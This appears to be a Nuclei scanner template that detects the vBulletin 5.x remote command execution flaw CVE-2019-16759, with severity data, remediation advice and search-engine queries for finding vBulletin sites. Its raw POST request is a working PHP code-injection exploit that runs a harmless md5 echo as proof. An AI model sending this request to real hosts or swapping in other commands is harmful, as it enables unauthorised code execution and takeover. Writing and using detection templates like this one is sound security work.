vBulletin 5.0.0-5.5.4 - Remote Command Execution

id: CVE-2019-16759

info:
  name: vBulletin 5.0.0-5.5.4 - Remote Command Execution
  author: madrobot
  severity: critical
  description: vBulletin 5.0.0 through 5.5.4 is susceptible to a remote command execution vulnerability via the widgetConfig parameter in an ajax/render/widget_php routestring request. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade vBulletin to a version that is not affected by CVE-2019-16759.
  reference:
    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vbulletin-remote-code-execution-cve-2020-7373/
    - https://seclists.org/fulldisclosure/2019/Sep/31
    - https://www.theregister.co.uk/2019/09/24/vbulletin_vbug_zeroday/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16759
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16759
    cwe-id: CWE-94
    epss-score: 0.99728
    epss-percentile: 0.99951
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    shodan-query:
      - http.component:"vBulletin"
      - http.html:"powered by vbulletin"
      - http.component:"vbulletin"
      - http.title:"powered by vbulletin"
      - cpe:"cpe:2.3:a:vbulletin:vbulletin"
    fofa-query:
      - body="powered by vbulletin"
      - title="powered by vbulletin"
    google-query:
      - intext:"powered by vbulletin"
      - intitle:"powered by vbulletin"
  tags: cve,cve2019,rce,kev,seclists,vbulletin,vkev,vuln

http:
  - raw:
      - |
        POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20md5%28%22CVE-2019-16759%22%29%3B

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "addcc9f9f2f40e2e6aca3079b73d9d17"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008a089a93143f3c57079a978921b47f6a89c88682efe59a4f4495602b8b0e8735022025823a6139824151867ef64f73c714f5966e962869f5958c5eaf83aa1bcfa049:922c64590222798bb761d5b6d8e72950